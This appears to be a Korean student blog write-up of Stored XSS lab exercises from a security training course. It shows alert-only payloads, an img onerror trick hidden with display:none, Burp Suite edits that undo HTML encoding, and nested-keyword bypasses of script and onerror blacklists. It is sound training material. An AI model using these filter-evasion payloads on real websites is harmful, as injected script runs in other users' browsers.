| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 예술의 전당
- 리버싱
- webhacking
- 위상 정렬
- sk 쉴더스 루키즈
- 루키즈31기
- SK쉴더스루키즈
- 악성코드 분석
- sk쉴더스 루키즈
- linux
- sk 쉴더스 루키즈 31기
- top-cert
- sk 쉴더스
- 루키즈 31기
- 백엔드
- c
- Dreamhack
- 레나튜토리얼
- 루키즈
- React
- 알고리즘
- 깃
- 우아한테크코스
- 동적분석
- Practical Malware Analysis Labs
- 우테코
- 자바
- 웹개발
- 레나 튜토리얼
- 프리코스
- Today
- Total
yon11b
[SK 쉴더스 루키즈] Stored XSS 문제 풀기 본문
Stored XSS란?
공격자가 JS 코드를 게시글에 삽입하고 피해자가 해당 글을 읽으면 JS가 자동으로 실행되는 공격이다.
문제

5번
그냥 title에 <script>alert(’xss’)</script> 적으면 됨
6번
조건: 제목에 script 태그 없이. 최대한 정상으로 보이도록 해라.
content 부분에 다음 구문을 삽입한다.
<img src=x style="display:none" onerror="alert('xss')">
존재하지 않는 img를 불러오면 기본이미지가 뜬다. > 수상함 > 아예 안 뜨게 하기 위해 display:none을 써준다.

그리고 이 글을 등록하기를 누르고 중간에 burp suite로 잡아서 보면 태그가 인코딩되어 < 로 나타나 있다.
그래서 이 부분을 다시 <, > 로 수정해서 전송해주면 된다.
변경 전
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="title"
새로오신분들 필독!!
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="content"
<p><img src=x style="display:none" onerror="alert('xss')"></p>
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
변경 후
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="title"
새로오신분들 필독!!
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="content"
<img src=x style="display:none" onerror="alert('xss')">
------WebKitFormBoundarySiOcLnCNgz8W1aL6
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream
7번
6번이랑 똑같음
8번
엉성하게 XSS가 조치되었다. 해당 게시판에서 Stored XSS를 통하여 'XSS' 메시지를 띄우시오.
<script>태그가 content에서 먹지 않는다.



두번째 시도 입력: <scripscriptt>alert('xss')</scrscriptipt>

그냥 이대로 전송한 걸 보면 이렇게 보임

중간에 잡은 걸 다시 제대로 수정해서 보내면 이제 태그를 아예 없애버린다.


script 태그는 어떤식으로든 다 삭제를 하는 것 같다.
다른 태그를 써보자 > img 태그
<img src=x onerror="alert('xss')">를 content에 삽입해서 전송해주면 된다.


9번
내 입력값

실제 출력되는 걸 보자.

onerror와 alert 문자열이 블랙리스트 필터링 되어 사라졌다.
그럼 이렇게 적어주면 된다.
<img src=x ononerrorerror="alealertrt('xss')">
'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] CSRF 실습문제 2번 (0) | 2026.06.29 |
|---|---|
| [SK 쉴더스 루키즈] CSRF 실습문제 1번 (0) | 2026.06.29 |
| [SK 쉴더스 루키즈] Reflected XSS: Burp Suite Repeater 이용 (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] SQL Injection 대응방안 (0) | 2026.06.25 |
| [SK 쉴더스 루키즈] 쇼핑몰 Blind SQL Injection(Oracle) (0) | 2026.06.25 |